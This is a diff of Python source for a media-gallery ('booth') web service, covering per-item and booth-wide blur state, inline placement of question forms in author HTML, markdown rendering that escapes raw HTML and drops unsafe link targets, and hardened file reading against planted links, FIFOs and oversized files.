LEGACY_BLUR_FILE = ".blurred"
|
||||
|
||||
# A blur set bigger than this is not one this module wrote: a JSON array of
|
||||
# every rel in a 270-item booth is a few KB. Same bound as `.seen`, and the
|
||||
# WRITER enforces it too, so the writer can never produce a file the reader
|
||||
# would refuse and read as nothing.
|
||||
BLUR_MAX_BYTES = 1 << 20
|
||||
|
||||
|
||||
class BlurUnwritable(Exception):
|
||||
"""The blur set on disk could not be made to hold what was asked: something
|
||||
that is not ours is in the way (a directory at the name, a permission), or
|
||||
the set would outgrow what the reader accepts. A refusal about the STATE ON
|
||||
DISK, not about the request, so the route answers 409, never 500."""
|
||||
|
||||
|
||||
def check_rel(rel: str) -> str:
|
||||
"""The one predicate for what a blur entry may be, shared by the route and
|
||||
the CLI so the two cannot disagree about which items are addressable.
|
||||
|
||||
A booth-relative path: not empty, not absolute, no `..` COMPONENT (so
|
||||
`a..b.png` is a fine name, and `a/../b` is not), and encodable back to the
|
||||
bytes of a filename. Stored EXACTLY as given otherwise — never stripped.
|
||||
Raises ValueError; returns `rel` unchanged."""
|
||||
if not rel or rel.startswith("/") or ".." in rel.split("/"):
|
||||
raise ValueError(f"not a booth-relative item path: {rel!r}")
|
||||
if not _encodable(rel):
|
||||
raise ValueError(f"not a filename this box can hold: {rel!r}")
|
||||
return rel
|
||||
|
||||
|
||||
def _encodable(rel: str) -> bool:
|
||||
"""A real filename decodes under surrogateescape to U+DC80..U+DCFF at worst,
|
||||
which encodes back. A lone U+D800 cannot come from any filename, only from a
|
||||
planted JSON escape, and would make every later write raise."""
|
||||
try:
|
||||
rel.encode("utf-8", "surrogateescape")
|
||||
except UnicodeEncodeError:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _read_capped(path: Path) -> bytes | None:
|
||||
"""A regular file's bytes, or None. Never follows a link, never blocks on a
|
||||
FIFO, never reads past the cap, never raises."""
|
||||
try:
|
||||
fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||
except OSError:
|
||||
return None
|
||||
try:
|
||||
st = os.fstat(fd)
|
||||
if not stat.S_ISREG(st.st_mode) or st.st_size > BLUR_MAX_BYTES:
|
||||
return None
|
||||
return os.read(fd, BLUR_MAX_BYTES + 1)
|
||||
except OSError:
|
||||
return None
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
|
||||
def _load(booth: Path) -> set[str]:
|
||||
"""The blur set, STRICTLY: raises BlurUnwritable for a REGULAR file at
|
||||
either name that cannot be read as its format (a permission, over the size
|
||||
cap, not JSON), where `read_blurred` would say "nothing blurred". The
|
||||
writer builds on this; the renderer on the lenient one. One parse, two
|
||||
postures, so they cannot disagree about what a file means, only about what
|
||||
to do when it cannot be read.
|
||||
|
||||
Only a regular file can hold a set anyone wrote. A link, a directory or a
|
||||
FIFO at either name holds nothing to lose, so it reads as empty here too,
|
||||
and whether the write can then land is `set_blurred`'s postcondition to
|
||||
judge (a link is replaced; a directory is refused).
|
||||
|
||||
ANYTHING at `.blurred.json` means the current format is in charge, and the
|
||||
legacy file is not consulted, so a stale `.blurred` left beside a newer set
|
||||
can never speak. Members that are not strings, are empty, or could not be a
|
||||
filename are skipped: no one could have meant them, and dropping them loses
|
||||
nothing.
|
||||
"""
|
||||
current, legacy = booth / BLUR_FILE, booth / LEGACY_BLUR_FILE
|
||||
for path in (current, legacy):
|
||||
try:
|
||||
st = os.lstat(path)
|
||||
except FileNotFoundError:
|
||||
continue
|
||||
except OSError as exc:
|
||||
raise BlurUnwritable(f"cannot stat {path.name} in {booth.name!r} ({exc})") from exc
|
||||
if not stat.S_ISREG(st.st_mode):
|
||||
return set()
|
||||
raw = _read_capped(path)
|
||||
if raw is None:
|
||||
raise BlurUnwritable(f"{path.name} in {booth.name!r} is not a readable file of sane size")
|
||||
text = raw.decode("utf-8", "surrogateescape")
|
||||
if path is legacy:
|
||||
return {ln.strip() for ln in text.splitlines() if ln.strip()}
|
||||
try:
|
||||
data = json.loads(text)
|
||||
except (ValueError, RecursionError) as exc:
|
||||
# RecursionError: a deeply nested array blows the parser's stack,
|
||||
# and it is neither a ValueError nor an OSError (the `.seen` hole).
|
||||
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not JSON") from exc
|
||||
if not isinstance(data, list):
|
||||
raise BlurUnwritable(f"{BLUR_FILE} in {booth.name!r} is not a JSON array")
|
||||
return {r for r in data if isinstance(r, str) and r and _encodable(r)}
|
||||
return set()
|
||||
|
||||
|
||||
def read_blurred(booth: Path) -> set[str]:
|
||||
"""Blurred rels for a booth. Missing, unreadable or malformed -> empty set.
|
||||
|
||||
NEVER RAISES and NEVER BLOCKS. `booth_items` calls this for every booth the
|
||||
Desk renders, and any fleet session can write into a booth, so either file
|
||||
may be planted: each is opened without following a link and without
|
||||
blocking, and refused unless it is a regular file of sane size. A damaged
|
||||
file costs the blur, never the page. The WRITER does not get this leniency;
|
||||
see `_load`.
|
||||
"""
|
||||
try:
|
||||
return _load(booth)
|
||||
except BlurUnwritable:
|
||||
return set()
|
||||
|
||||
|
||||
def _discard(path: Path) -> None:
|
||||
try:
|
||||
path.unlink()
|
||||
except OSError:
|
||||
pass # judged by the postcondition in set_blurred, not here
|
||||
|
||||
|
||||
def set_blurred(booth: Path, rel: str, on: bool) -> set[str]:
|
||||
"""Add or remove one rel from the blur set, and return the new set.
|
||||
|
||||
`rel` must pass `check_rel` (ValueError otherwise) and is stored EXACTLY as
|
||||
given. Written as a JSON array in sorted order (CLAUDE.md invariant 6), so
|
||||
the same set is the same bytes; an empty set removes the file, because an
|
||||
empty marker is a lie by omission. The first write also retires a legacy
|
||||
`.blurred`, AFTER the new file is in place, so a crash between the two
|
||||
leaves the new file in charge.
|
||||
|
||||
Atomic replace (CLAUDE.md invariant 5) through a temp file created with
|
||||
O_EXCL: a crash mid-write cannot leave a shorter, more revealing set, and
|
||||
`os.replace` swaps a planted symlink out rather than writing through it.
|
||||
|
||||
WRITES ARE STRICT. The set it builds on comes from `_load`, which refuses
|
||||
(BlurUnwritable, nothing changed) where the renderer's reader would say
|
||||
"nothing blurred": a file it cannot read is never overwritten with a set
|
||||
that forgot what it held.
|
||||
|
||||
SUCCESS IS DEFINED BY THE READER. After writing, `read_blurred` must return
|
||||
exactly the set asked for; anything else raises BlurUnwritable. That one
|
||||
check covers a planted directory at either name, a permission, and a race,
|
||||
without a branch per way the disk can be wrong.
|
||||
|
||||
NOT locked. Two writers racing (the operator's click and a session's
|
||||
`booth blur`) can lose one toggle, as the line format could.
|
||||
"""
|
||||
check_rel(rel)
|
||||
# STRICT, never `read_blurred`: an empty set from a file that could not be
|
||||
# read would be written back over it, and whatever it held would be gone
|
||||
# (the `.marks.json` wipe of 2026-09-21; groa: a cross-uid EACCES).
|
||||
current = _load(booth)
|
||||
if on:
|
||||
current.add(rel)
|
||||
else:
|
||||
current.discard(rel)
|
||||
path = booth / BLUR_FILE
|
||||
legacy = booth / LEGACY_BLUR_FILE
|
||||
if current:
|
||||
body = json.dumps(sorted(current), ensure_ascii=False).encode("utf-8", "surrogateescape")
|
||||
if len(body) > BLUR_MAX_BYTES:
|
||||
raise BlurUnwritable(
|
||||
f"{len(current)} blurred items would exceed the {BLUR_MAX_BYTES}-byte "
|
||||
f"bound the reader accepts; nothing was changed")
|
||||
try:
|
||||
fd, tmp = tempfile.mkstemp(prefix=".blurred.", suffix=".tmp", dir=booth)
|
||||
try:
|
||||
# mkstemp makes 0600; the line-format writer left 0644, and a
|
||||
# reader under another uid must still see the set (groa).
|
||||
os.fchmod(fd, 0o644)
|
||||
with os.fdopen(fd, "wb") as fh:
|
||||
fh.write(body)
|
||||
os.replace(tmp, path)
|
||||
except BaseException:
|
||||
_discard(Path(tmp))
|
||||
raise
|
||||
except OSError:
|
||||
pass # judged by the postcondition below
|
||||
else:
|
||||
_discard(legacy)
|
||||
else:
|
||||
_discard(path)
|
||||
_discard(legacy)
|
||||
if read_blurred(booth) != current:
|
||||
raise BlurUnwritable(
|
||||
f"the blur set in {booth.name!r} could not be written; is something other "
|
||||
f"than a file at {BLUR_FILE} or {LEGACY_BLUR_FILE}?")
|
||||
return current
|
||||
-119
@@ -1,119 +0,0 @@
|
||||
"""Inline ask placement inside a booth's VERBATIM index.html.
|
||||
|
||||
A booth that ships its own `index.html` is served untouched, so the auto-gallery
|
||||
template's asks panel never renders there. The first fix was a chip linking to a
|
||||
separate `/asks` page; the operator's verdict on that (2026-09-09) was that the
|
||||
question belongs WITH the artifacts it is about — a four-voice audition wants the
|
||||
radio group for each voice under that voice's audio, not on another page.
|
||||
|
||||
So the report author marks where each piece goes, with a placeholder element:
|
||||
|
||||
<div data-booth-ask="anchors"></div> the whole ask: every question + submit
|
||||
<div data-booth-ask="anchors:lawson"></div> just that question's radios
|
||||
<div data-booth-ask-submit="anchors"></div> the notes field + submit button
|
||||
|
||||
Per-question fragments bind to ONE form via the HTML5 `form=` attribute, so four
|
||||
groups scattered down a page still submit as a single POST — which is what a
|
||||
multi-question ask requires (every question or 400). No JavaScript.
|
||||
|
||||
An `<!-- booth:ask anchors -->` comment works the same way, for authors who would
|
||||
rather not put an empty div in their markup.
|
||||
|
||||
Placement is OPTIONAL. A page with no placeholders gets the whole ask appended at
|
||||
the end of its body, so an ask is never invisible — that guarantee is the point,
|
||||
and marking it up only moves it somewhere better.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import re
|
||||
|
||||
# <div data-booth-ask="stem"></div> / <span data-booth-ask="stem:key"></span>
|
||||
_EL_RE = re.compile(
|
||||
r"<(?P<tag>[A-Za-z][\w-]*)\b[^>]*?\bdata-booth-ask=\"(?P<spec>[^\"]+)\"[^>]*?>"
|
||||
r"(?:\s*</(?P=tag)\s*>)?",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
_SUBMIT_EL_RE = re.compile(
|
||||
r"<(?P<tag>[A-Za-z][\w-]*)\b[^>]*?\bdata-booth-ask-submit=\"(?P<spec>[^\"]+)\"[^>]*?>"
|
||||
r"(?:\s*</(?P=tag)\s*>)?",
|
||||
re.IGNORECASE,
|
||||
)
|
||||
# <!-- booth:ask stem --> / <!-- booth:ask stem:key --> / <!-- booth:ask-submit stem -->
|
||||
_COMMENT_RE = re.compile(r"<!--\s*booth:ask\s+(?P<spec>[^\s>-][^\s>]*)\s*-->", re.IGNORECASE)
|
||||
_COMMENT_SUBMIT_RE = re.compile(r"<!--\s*booth:ask-submit\s+(?P<spec>[^\s>]+)\s*-->", re.IGNORECASE)
|
||||
|
||||
|
||||
def split_spec(spec: str) -> tuple[str, str | None]:
|
||||
"""`"anchors:lawson"` -> `("anchors", "lawson")`; `"anchors"` -> `("anchors", None)`."""
|
||||
stem, sep, key = spec.strip().partition(":")
|
||||
return stem.strip(), (key.strip() or None) if sep else None
|
||||
|
||||
|
||||
def has_placeholders(html: str) -> bool:
|
||||
return bool(
|
||||
_EL_RE.search(html) or _SUBMIT_EL_RE.search(html)
|
||||
or _COMMENT_RE.search(html) or _COMMENT_SUBMIT_RE.search(html)
|
||||
)
|
||||
|
||||
|
||||
def form_id(stem: str) -> str:
|
||||
return f"bk-ask-form-{re.sub(r'[^A-Za-z0-9_-]', '-', stem)}"
|
||||
|
||||
|
||||
def place(html: str, asks: list, render) -> tuple[str, dict[str, set], set[str]]:
|
||||
"""Substitute every placeholder with rendered ask HTML.
|
||||
|
||||
`render(kind, ask, key)` returns the fragment for kind in
|
||||
{"whole", "question", "submit"}. Returns the new html; a map of stem ->
|
||||
the set of question keys placed inline (with `None` in the set meaning the
|
||||
WHOLE ask was placed); and the set of stems whose submit block was placed
|
||||
explicitly.
|
||||
|
||||
The caller needs the per-key detail, not just "this stem appeared
|
||||
somewhere": a multi-question ask requires EVERY question on submit, so a
|
||||
page that marks up two of four questions must still be handed the other two
|
||||
or the form is unsubmittable — a 400 the operator would meet only after
|
||||
filling it in.
|
||||
|
||||
A placeholder naming an ask this booth does not have is left ALONE, not
|
||||
blanked: silently eating the author's markup would hide a typo'd stem, and
|
||||
an untouched empty div is invisible anyway.
|
||||
"""
|
||||
# Marks index by ATTRIBUTE, not subscript: `place` was the one consumer in
|
||||
# the service that did `a["stem"]`, which a frozen dataclass refuses. Caught
|
||||
# by the U2 seam review (SR-1) — the cold contract pass cannot see a sibling
|
||||
# module's surface by design, so nothing else would have found it before the
|
||||
# first verbatim booth 500'd.
|
||||
by_stem = {a.id: a for a in asks}
|
||||
placed: dict[str, set] = {}
|
||||
submitted: set[str] = set()
|
||||
|
||||
def sub_main(m: re.Match) -> str:
|
||||
stem, key = split_spec(m.group("spec"))
|
||||
ask = by_stem.get(stem)
|
||||
if ask is None:
|
||||
return m.group(0)
|
||||
if key is None:
|
||||
placed.setdefault(stem, set()).add(None)
|
||||
submitted.add(stem)
|
||||
return render("whole", ask, None)
|
||||
q = next((q for q in ask.questions if q.get("key") == key), None)
|
||||
if q is None:
|
||||
return m.group(0)
|
||||
placed.setdefault(stem, set()).add(key)
|
||||
return render("question", ask, key)
|
||||
|
||||
def sub_submit(m: re.Match) -> str:
|
||||
stem, _ = split_spec(m.group("spec"))
|
||||
ask = by_stem.get(stem)
|
||||
if ask is None:
|
||||
return m.group(0)
|
||||
placed.setdefault(stem, set())
|
||||
submitted.add(stem)
|
||||
return render("submit", ask, None)
|
||||
|
||||
for pat, fn in ((_EL_RE, sub_main), (_COMMENT_RE, sub_main),
|
||||
(_SUBMIT_EL_RE, sub_submit), (_COMMENT_SUBMIT_RE, sub_submit)):
|
||||
html = pat.sub(fn, html)
|
||||
return html, placed, submitted
|
||||
+297
-15
@@ -15,6 +15,11 @@ See docs/contracts/u1_item_record.contract.md.
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import html as _html
|
||||
import re
|
||||
import stat
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Sequence
|
||||
@@ -26,6 +31,9 @@ except ImportError: # pragma: no cover
|
||||
_markdown = None
|
||||
|
||||
from booth.asks import is_answer_file, is_ask_file
|
||||
from booth.blur import BLUR_FILE, read_blurred # noqa: F401 (re-exported)
|
||||
from booth.links import is_safe_href
|
||||
from booth.thumbs import drawn_size, wants_thumb
|
||||
|
||||
# Browser-playable media buckets. Anything else renders as a download link.
|
||||
IMAGE_EXTS = {".png", ".jpg", ".jpeg", ".gif", ".webp", ".avif", ".svg", ".bmp"}
|
||||
@@ -39,7 +47,18 @@ TEXT_EXTS = {".txt", ".text", ".log"}
|
||||
CAPTION_MAX = 800 # chars of a sidecar .txt caption we render
|
||||
DOC_MAX_BYTES = 2 * 1024 * 1024 # above this, a doc is handed back raw, not rendered
|
||||
|
||||
BLUR_FILE = ".blurred"
|
||||
# `BLUR_FILE` and `read_blurred` live in booth/blur.py (stdlib-only, so the CLI
|
||||
# shares the reader and the writer) and are re-exported from here.
|
||||
|
||||
# Booth-level blur: the whole booth is fogged, agent-set at post time or
|
||||
# toggled by the operator. A MARKER, deliberately not JSON like `.seen` —
|
||||
# `.seen` is JSON because it holds rels that must round-trip exactly, and a
|
||||
# boolean has nothing to round-trip. It matches `.forever`, which is the other
|
||||
# whole-booth flag, so the two read the same way.
|
||||
BOOTH_BLUR_FILE = ".blurbooth"
|
||||
|
||||
# What booth-level blur applies to. Audio has nothing to hide from a glance.
|
||||
BLURRABLE_KINDS = {"image", "video"}
|
||||
|
||||
|
||||
def classify(name: str) -> str:
|
||||
@@ -64,16 +83,81 @@ def doc_kind(name: str) -> str | None:
|
||||
return None
|
||||
|
||||
|
||||
# What a browser ignores in a URL before it reads the scheme: ASCII tab, LF and
|
||||
# CR anywhere, and C0 controls or space at either end (WHATWG URL parsing).
|
||||
# Python 3.13's urlsplit, which `is_safe_href` calls, drops the same characters
|
||||
# itself, so no test here can see these two go; they are stated anyway, because
|
||||
# the guard's correctness should not rest on one stdlib release's cleanup.
|
||||
_URL_DROPPED = str.maketrans("", "", "\t\n\r")
|
||||
_URL_TRIMMED = "".join(map(chr, range(0x21)))
|
||||
|
||||
|
||||
def _browser_href(raw: str) -> str:
|
||||
"""An href as the browser will act on it: markdown's `&` placeholder put
|
||||
back, character references decoded ONCE (the browser decodes an attribute
|
||||
value once), then the characters URL parsing drops. `javascript:` is
|
||||
`javascript:` to a browser, and a scheme test that skips this is blind to
|
||||
it."""
|
||||
s = raw.replace(_markdown.util.AMP_SUBSTITUTE, "&")
|
||||
return _html.unescape(s).translate(_URL_DROPPED).strip(_URL_TRIMMED)
|
||||
|
||||
|
||||
if _markdown is not None:
|
||||
class _UnsafeHrefs(_markdown.treeprocessors.Treeprocessor):
|
||||
"""Drops every link href `links.is_safe_href` would refuse — the ONE
|
||||
predicate for "may this be a clickable link on the Booth's origin", the
|
||||
board's since 2026-09-23. The link keeps its words; it just goes
|
||||
nowhere. Runs last, after markdown has finished writing hrefs.
|
||||
|
||||
`a@href` ONLY, stated so nobody reads more into it: an `img@src` of
|
||||
`javascript:` or `data:text/html` is inert in every current browser, and
|
||||
a `data:image/...` picture is a legitimate thing for a doc to carry."""
|
||||
|
||||
def run(self, root):
|
||||
for el in root.iter("a"):
|
||||
href = el.get("href")
|
||||
if href is not None and not is_safe_href(_browser_href(href)):
|
||||
del el.attrib["href"]
|
||||
|
||||
|
||||
def _markdown_renderer():
|
||||
"""A Markdown instance that treats raw HTML as TEXT.
|
||||
|
||||
Python-Markdown passes raw HTML through, and doc.html / booth.html render
|
||||
the result `|safe` — so a `<script>` in any session's `.md` ran on the
|
||||
Booth's origin, and a contract that merely QUOTED `<pre>` opened a real one
|
||||
and swallowed the rest of the doc (design-dev's impeccable run, 2026-09-28).
|
||||
Operator ruling: ESCAPE raw HTML, not an allowlist; the live docs that carry
|
||||
tags mean the literal tag. With the block and inline HTML processors gone,
|
||||
`<` reaches the serializer as text and is escaped there. Fenced and inline
|
||||
code are untouched: they never went through either processor.
|
||||
"""
|
||||
md = _markdown.Markdown(extensions=["fenced_code", "tables", "sane_lists"])
|
||||
md.preprocessors.deregister("html_block")
|
||||
md.inlinePatterns.deregister("html")
|
||||
md.treeprocessors.register(_UnsafeHrefs(md), "booth_unsafe_hrefs", -10)
|
||||
return md
|
||||
|
||||
|
||||
def render_doc(text: str, kind: str) -> tuple[str, bool]:
|
||||
"""(rendered, is_html). Markdown → HTML (fenced code, tables, sane lists);
|
||||
plain text — or markdown when the lib is unavailable — → raw text for <pre>.
|
||||
"""(rendered, is_html). Markdown → HTML (fenced code, tables, sane lists),
|
||||
with raw HTML ESCAPED and unsafe link hrefs dropped (see
|
||||
`_markdown_renderer`); plain text — or markdown when the lib is unavailable
|
||||
— → raw text for <pre>.
|
||||
|
||||
Text is returned RAW on purpose: the template escapes it inside <pre>, and
|
||||
pre-escaping here would double-encode under Jinja autoescape.
|
||||
"""
|
||||
if kind == "markdown" and _markdown is not None:
|
||||
html = _markdown.markdown(text, extensions=["fenced_code", "tables", "sane_lists"])
|
||||
return html, True
|
||||
# BOUNDED, like every other reader of author content here: a doc that
|
||||
# makes the renderer raise — deep nesting, or a markdown upgrade that
|
||||
# renames the processors deregistered above — costs that doc its
|
||||
# formatting and falls back to raw text, which the template escapes.
|
||||
# It never raises out of the page (heid bug-hunt, 3 of 4 arms).
|
||||
try:
|
||||
return _markdown_renderer().convert(text), True
|
||||
except Exception: # noqa: BLE001 - deliberate
|
||||
return text, False
|
||||
return text, False
|
||||
|
||||
|
||||
@@ -89,19 +173,98 @@ class Item:
|
||||
url: str
|
||||
kind: str
|
||||
section: str | None
|
||||
group: str | None
|
||||
caption: str | None
|
||||
blurred: bool
|
||||
doc: str | None
|
||||
size: int
|
||||
# R2 C1: the 1-based position in `booth_items` order over ALL items — the
|
||||
# number the operator means by "the third one". Set in the resolver loop
|
||||
# and nowhere else (INV-1). APPENDED, never inserted: a mid-dataclass field
|
||||
# is a positional-construction break.
|
||||
ordinal: int
|
||||
# The tile's image source, or None when the original IS the right source
|
||||
# (vector, video, a type Pillow cannot open, or an image already tile-sized).
|
||||
# Derived HERE so no template reasons about `kind` to decide — INV-1, which
|
||||
# is the caption bug in a new field.
|
||||
thumb: str | None
|
||||
# The item's OWN per-item blur, apart from the booth's fog: the per-item
|
||||
# control toggles only this, so it must not offer an un-blur the booth flag
|
||||
# would override (r2b D2b). From the SAME read as `blurred` — it used to be
|
||||
# a second `read_blurred` in build_gallery, and a write between the two
|
||||
# reads could split them (invariant 3). APPENDED, like `ordinal`.
|
||||
blurred_self: bool
|
||||
|
||||
|
||||
def read_blurred(booth: Path) -> set[str]:
|
||||
"""Blurred item paths for a booth. Missing file -> empty set."""
|
||||
# R2 C2: which items have been looked at full size. UI state, not judgment —
|
||||
# never exposed to sessions, holds nothing. One viewer: this records WHAT was
|
||||
# seen, never who saw it.
|
||||
SEEN_FILE = ".seen"
|
||||
|
||||
|
||||
# A seen marker bigger than this is not one this service wrote: a JSON array of
|
||||
# every rel in a 270-item booth is a few KB.
|
||||
SEEN_MAX_BYTES = 1 << 20
|
||||
|
||||
|
||||
def read_seen(booth: Path) -> set[str]:
|
||||
"""Rels seen at full size (R2 C2). A JSON array of strings, because a rel
|
||||
may hold a leading space or a newline and must round-trip exactly.
|
||||
|
||||
NEVER RAISES and NEVER BLOCKS. Any fleet session can write into a booth,
|
||||
so the marker may be planted: it is opened without following a link and
|
||||
without blocking (a FIFO with no writer), refused unless it is a regular
|
||||
file of sane size, and anything unreadable or malformed reads as nothing
|
||||
seen — a damaged marker costs the tape its memory, never the page.
|
||||
"""
|
||||
try:
|
||||
text = (booth / BLUR_FILE).read_text()
|
||||
except (OSError, UnicodeDecodeError):
|
||||
fd = os.open(booth / SEEN_FILE, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK)
|
||||
except OSError:
|
||||
return set()
|
||||
return {ln.strip() for ln in text.splitlines() if ln.strip()}
|
||||
try:
|
||||
st = os.fstat(fd)
|
||||
if not stat.S_ISREG(st.st_mode) or st.st_size > SEEN_MAX_BYTES:
|
||||
return set()
|
||||
raw = os.read(fd, SEEN_MAX_BYTES + 1)
|
||||
except OSError:
|
||||
return set()
|
||||
finally:
|
||||
os.close(fd)
|
||||
try:
|
||||
data = json.loads(raw.decode("utf-8"))
|
||||
except (UnicodeDecodeError, ValueError, RecursionError):
|
||||
# RecursionError: a deeply nested array (`[[[[...`) blows the parser's
|
||||
# stack, and it is neither a ValueError nor an OSError — the same hole
|
||||
# marks.py, manifest.py and benches.py already close.
|
||||
return set()
|
||||
if not isinstance(data, list):
|
||||
return set()
|
||||
return {r for r in data if isinstance(r, str)}
|
||||
|
||||
|
||||
def is_booth_blurred(booth: Path) -> bool:
|
||||
"""Whether the WHOLE booth is blurred.
|
||||
|
||||
`lstat`, not `exists()`, and an unreadable answer counts as BLURRED —
|
||||
the same shape as `is_kept` with the safety inverted, and the inversion is
|
||||
the point. `is_kept` fails toward keeping because a failed read must not
|
||||
authorize a delete; this fails toward HIDING, because a failed read must not
|
||||
reveal something the poster asked to fog. Both directions are "the failure
|
||||
does not cause the loss".
|
||||
|
||||
A SYMLINK counts, dangling or not: somebody put it there to mean blur.
|
||||
|
||||
Composes with `.blurred`, never overrides it — turning booth blur off must
|
||||
not erase an agent's per-item choice, and an override would need a per-item
|
||||
"unblurred" exception list, which is state nobody can see.
|
||||
"""
|
||||
try:
|
||||
(booth / BOOTH_BLUR_FILE).lstat()
|
||||
return True
|
||||
except FileNotFoundError:
|
||||
return False
|
||||
except OSError:
|
||||
return True # cannot tell -> fog it; see above
|
||||
|
||||
|
||||
def _section_of(rel: str) -> str | None:
|
||||
@@ -115,6 +278,43 @@ def _section_of(rel: str) -> str | None:
|
||||
return None if str(parent) == "." else parent.as_posix()
|
||||
|
||||
|
||||
# One separator run between name segments. A filename is the only grouping
|
||||
# signal the live booths actually carry: 0 of 11 galleries have a subdirectory.
|
||||
_SEG = re.compile(r"[-_. ]+")
|
||||
|
||||
|
||||
def _group_of(rel: str) -> str | None:
|
||||
"""The grouping key for an item, or None when it has none.
|
||||
|
||||
THE RULE, in one line: **the first separator-delimited segment of the
|
||||
basename's stem — with a trailing digit run stripped only when the stem has
|
||||
no separator at all.** `00-sheet-c1-market-noon.png` -> `00`;
|
||||
`m-c1-market-noon-9401.png` -> `m`; `flag-rear.png` -> `flag`;
|
||||
`ac01.png` -> `ac` (no separator, so the digits are the separator);
|
||||
`v30-seed8302.png` -> `v30` (separator present, so `v30` survives and does
|
||||
not merge with `v35`, which is the axis that booth is about).
|
||||
|
||||
None for a stem with nothing before the digits -- `01.png` has no prefix to
|
||||
group on, and inventing one would file every numbered render under the
|
||||
empty string.
|
||||
|
||||
⚠ THIS IS NOT THE RULE THE CONTRACT FIRST NAMED. `strip ONE trailing run of
|
||||
digits` was measured against the live set on 2026-09-22 and yields 24 groups
|
||||
for sindra-bakeoff's 40 images and 27 for sindra's 30 -- a rail with one row
|
||||
per tile. The contract's own table claimed 5 and 1 for those two booths;
|
||||
neither reproduces under the rule it states beside them. The rewritten table
|
||||
carries the re-measurement.
|
||||
|
||||
Derived HERE and nowhere else (INV-1). A route body that re-derived it would
|
||||
be the caption bug in a new field.
|
||||
"""
|
||||
stem = Path(rel).stem # basename without its last suffix; `a.tar.gz` -> `a.tar`
|
||||
segs = _SEG.split(stem)
|
||||
if len(segs) == 1:
|
||||
return re.sub(r"\d+$", "", stem) or None
|
||||
return segs[0] or None
|
||||
|
||||
|
||||
def _resolve_captions(by_rel: dict[str, Path]) -> tuple[dict[str, str], set[str]]:
|
||||
"""(caption-by-rel, rels consumed as sidecars).
|
||||
|
||||
@@ -158,7 +358,18 @@ def _resolve_captions(by_rel: dict[str, Path]) -> tuple[dict[str, str], set[str]
|
||||
|
||||
if target is not None:
|
||||
try:
|
||||
caption[target] = p.read_text(errors="replace").strip()[:CAPTION_MAX]
|
||||
# BOUNDED AT THE READ. `read_text()` pulled the whole sidecar
|
||||
# into memory before the slice trimmed it, so a pathological
|
||||
# file was a MemoryError — which the OSError handler below does
|
||||
# not catch — rather than a missing caption.
|
||||
#
|
||||
# Deliberately NOT bounded by st_size: a FIFO reports 0 and a
|
||||
# bound that trusts it inherits what it does not mean, which is
|
||||
# the hang in persistent-memory.d/2026-09-22-size-cap-opened-a-hang.md.
|
||||
# The factor of 4 is UTF-8's worst case, so CAPTION_MAX
|
||||
# characters always survive the byte bound.
|
||||
with p.open("r", errors="replace") as fh:
|
||||
caption[target] = fh.read(CAPTION_MAX * 4).strip()[:CAPTION_MAX]
|
||||
except OSError:
|
||||
pass
|
||||
sidecars.add(rel)
|
||||
@@ -179,14 +390,50 @@ def booth_items(booth: Path) -> list[Item]:
|
||||
"""
|
||||
by_rel: dict[str, Path] = {}
|
||||
for p in booth.rglob("*"):
|
||||
if not p.is_file() or p.name.startswith("."):
|
||||
try:
|
||||
# `is_file` swallows a missing entry but PROPAGATES EACCES: a
|
||||
# directory that lists but cannot be searched made every stat under
|
||||
# it raise out of here, and `list_booths` calls this for every
|
||||
# booth — one such folder took down the index for all of them.
|
||||
# An entry nobody can stat is not a renderable file. (design-dev)
|
||||
if not p.is_file():
|
||||
continue
|
||||
except OSError:
|
||||
continue
|
||||
# ⚠ EVERY path component, not just the filename. `p.name.startswith(".")`
|
||||
# tested only the leaf, so `.thumbs/a.png` (name `a.png`) sailed through
|
||||
# as a gallery item — and CLAUDE.md invariant 2 promises a dotfile costs
|
||||
# nothing in item counts, galleries or zips. That promise was true only
|
||||
# at the top level until the `.thumbs/` cache made it matter.
|
||||
#
|
||||
# BOTH guards, not either: they were written independently for different
|
||||
# failures and the merge that kept one would have quietly dropped the
|
||||
# other.
|
||||
if any(part.startswith(".") for part in p.relative_to(booth).parts):
|
||||
continue
|
||||
continue
|
||||
if is_ask_file(p.name) or is_answer_file(p.name):
|
||||
continue
|
||||
by_rel[p.relative_to(booth).as_posix()] = p
|
||||
rel = p.relative_to(booth).as_posix()
|
||||
try:
|
||||
quote(rel, safe="/")
|
||||
except UnicodeEncodeError:
|
||||
# A non-UTF-8 filename reaches CPython as a surrogate escape, and
|
||||
# `quote` raises on it. This used to happen at Item construction,
|
||||
# OUTSIDE any per-item handler — so one 0xff byte in one filename
|
||||
# took out that booth's page AND the index for every booth, because
|
||||
# `list_booths` calls this too. The repo's posture is that a damaged
|
||||
# file costs its own tile and never the page.
|
||||
#
|
||||
# Skipped rather than rescued: a name that cannot be percent-encoded
|
||||
# cannot be linked, served or zipped either, so there is no item to
|
||||
# render. Found by the heid bug-hunt panel (hulda), 2026-09-22.
|
||||
continue
|
||||
by_rel[rel] = p
|
||||
|
||||
caption, sidecars = _resolve_captions(by_rel)
|
||||
blurred = read_blurred(booth) # ONE read per call, not one per item
|
||||
booth_blur = is_booth_blurred(booth) # likewise: one stat, not one per item
|
||||
|
||||
items: list[Item] = []
|
||||
for rel in sorted(by_rel):
|
||||
@@ -197,16 +444,28 @@ def booth_items(booth: Path) -> list[Item]:
|
||||
size = p.stat().st_size
|
||||
except OSError:
|
||||
size = 0
|
||||
kind = classify(p.name)
|
||||
items.append(
|
||||
Item(
|
||||
rel=rel,
|
||||
url=quote(rel, safe="/"),
|
||||
kind=classify(p.name),
|
||||
kind=kind,
|
||||
section=_section_of(rel),
|
||||
group=_group_of(rel),
|
||||
caption=caption.get(rel),
|
||||
blurred=rel in blurred,
|
||||
# Booth blur COMPOSES with the per-item set. Resolved HERE so
|
||||
# every surface inherits it for free — Desk strip, tiles, tray,
|
||||
# filmstrip, stage all already read `Item.blurred` and none of
|
||||
# them learns about the booth flag (INV-1).
|
||||
blurred=rel in blurred or (booth_blur and kind in BLURRABLE_KINDS),
|
||||
doc=doc_kind(p.name),
|
||||
size=size,
|
||||
